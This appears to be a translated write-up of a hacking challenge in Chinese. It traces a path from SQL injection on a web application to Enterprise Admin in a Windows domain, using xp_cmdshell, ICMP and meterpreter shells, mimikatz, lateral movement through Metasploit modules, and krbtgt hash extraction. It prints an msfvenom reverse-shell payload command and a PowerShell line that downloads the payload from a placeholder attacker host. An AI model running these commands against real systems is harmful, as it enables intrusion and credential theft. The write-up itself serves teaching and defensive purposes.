在本文中,Sudhanshu Chauhan探索了一条利用SQL注入漏洞获取Windows企业管理员权限的开发路径。读到这你可能会想Sudhanshu 用的是哪种方法呢?OSINT、弱凭据、密码破解、不安全配置、跳板攻击(Pivoting)、绕过杀毒软件或pwnage。
要说明的是,从SQL注入到管理员权限是Sudhanshu在参加一个黑客挑战比赛时的一个项目,而且挑战的前提是,他只知道攻击企业的名称。另外,在比赛的初始阶段是禁止进行采用枚举的,所以一开始只能被动收集信息,其中包括识别客户拥有的IP范围,枚举域和子域,探索github、pastebin和其他消息来源,使用shodan以及其他一些OSINT技术来发现泄漏的敏感信息和服务。
一份资源列表可以根据许多因素进行了编辑和排名,其中包括泄露的证书、过时的软件、暴露的服务等,Sudhanshu认为透过这些目标会产生很多有用的信息,并确认下一阶段的挑战方案。
其中一个排名靠前的网站被发现有一个SQL注入漏洞,在SQLMap中使用选项“- is- dba”,Sudhanshu发现他竟有数据库管理员级别的特权。交互式访问(sql shell)是从多个数据库被识别的地方获得的,另外,还设置了一些数据库用户帐户和相关的密码哈希。使用# OneRuleToRuleThemAllSudhanshu能够破解一些哈希密码。另外,由于在数据库服务器上启用了“xp_cmdshell”,因此Sudhanshu能够执行操作系统命令。这证实了OOB(out of band) DNS调用了Sudhanshu的自定义域“xyz.abc.sos.notsosecure.com”,如下所示:
当你有代码执行时,下一步是通过交互式shell实现更好的控制。Sudhanshu处理了多个meterpreter有效载荷,但几乎都失败了。当Sudhanshu不断尝试使用多个渗透技术(如ICMP tunnelling)时,它通过xp_cmdshell解决了一个交互式ICMP shell,如下所示:
使用新获得的ICMP外壳,Sudhanshu处理了被破坏的系统,并四处寻找在开发后可以帮助Sudhanshu的任何东西。ICMP的外壳也有点不稳定,不足以解渴Sudhanshu的解渴。
当目标的主机使用Windows框架时,Sudhanshu尝试得到一个powershell meterpreter有效载荷。它给了Sudhanshu一个shell,但在几秒钟内就被检测到了,连接被终止。通过枚举,可以确认企业的主机上运行的是什么杀毒软件。在几次试图绕过安全保护失败后, Sudhanshu又返回到了主机上的枚举,并确定安装了python。然后Sudhanshu通过运行以下命令生成了一个使用msfvenom的python meterpreter有效载荷:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=<OUR_HOST> LPORT=1234 > pypreter.py
上面的载荷是在Sudhanshu的服务器上托管的,Sudhanshu会指示受损服务器从ICMP shell中使用以下Powershell命令下载有效载荷:
powershell $WebRequest = New-Object System.Net.WebClient; $WebRequest.DownloadFile('http://<OUR_HOST>:8000/pypreter.py','C:WindowsTemppypreter.py')
Sudhanshu为python载荷启动了metasploit多处理器,并通过ICMP shell执行了载荷。这给Sudhanshu带来了想要的meterpreter shell,如下所示:
虽然比Sudhanshu最初的ICMP shell要稳定的多,但大多数meterpreter命令都没有获得预期的结果,这是因为python的meterpreter实现的局限性。
从Sudhanshu新获得的python meterpreter shell中,Sudhanshu继续进行了进一步的枚举。基于过去的经验,Sudhanshu针对网络共享,因为它们通常不包含在杀毒扫描范围内。幸运的是,Sudhanshu偶然发现了一个这样的共享,并在那里删除了一个Windows非阶段性的meterpreter有效载荷。于是,Sudhanshu开始了另一个metasploit的多处理器,用于非阶段性的meterpreter有效载荷,执行二进制,并且期望得到一个新的本地meterpreter shell。
一旦你有了一个meterpreter shell,就代表着挑战即将成功。现在Sudhanshu不再使用哈希,试图用mimikatz提取明文密码,提取委托令牌。但结果并不理想,还是没有发现任何一个明文登录凭证,因为没有人用它进行登录,本地的哈希也没有在其他地方运行过。
Sudhanshu发现主机有多个网络接口,因此Sudhanshu使用新获得的meterpreter shell向内部网络添加了一个route命令,route命令如下所示:
route add 10.0.1.0 255.255.252.0 1
在添加了route命令之后,Sudhanshu执行了ARP扫描,并使用一个post exploitation metasploit模块来识别网络上的当时的连接主机。
然后,Sudhanshu使用auxiliary metasploit模块对当时连接的主机执行端口扫描,以尝试识别运行MSSQL的主机,如下所示:
然后,Sudhanshu使用了“auxiliary/scanner/mssql/mssql_login”模块与数据库账号,查看是否有任何账户被重用,如下所示:
此时,Sudhanshu发现一个帐户在另外两个主机上有效,并具有数据库管理特权。在‘auxiliary/admin/mssql/mssql_exec’ 模块的帮助下, Sudhanshu可以使用这个特权帐户得到类似系统的meterpreter shell运行。这个主机运行的是Windows Server 2003操作系统。本地的哈希随后就被清除了,同时Hashcat也会破解了一些本地的账户。然后将meterpreter shell被用于转储域帐户哈希,如下所示:
除此之外,mimikatz还被用来从被破坏的盒子里清除清晰的文本密码,如下图所示:
经过进一步的枚举之后,可以确定其中一个用户属于“企业管理员”身份,这让Sudhanshu可以直接访问域控制器。此时,Sudhanshu进行了大规模开发,并使用这些高权限凭据,Sudhanshu使用powershell脚本“invoke – massmimikatz.ps1”从所有其他主机中提取出多个明文密码。
此外,Sudhanshu现在可以在域控制器上执行哈希转储,以获得诸如“krbtgt”之类的高级特权帐户的哈希。在本文中,Sudhanshu使用了一个名为“dcsync_ntlm”的nifty命令从metasploit kiwi扩展中提取krbtgt帐户的哈希,如下所示。
然后可以进一步利用这个哈希来创建黄金票证,并在网络上获得持久性。
这样挑战就此结束,回顾一下整个挑战,从web应用程序漏洞开始,到获取企业管理员的多个凭据。整个攻击流程图如下所示:
所以,对于企业来说,确保网络安全的重要方面就是确保所有系统都创建了完整的库存,并且对保护措施及时进行升级。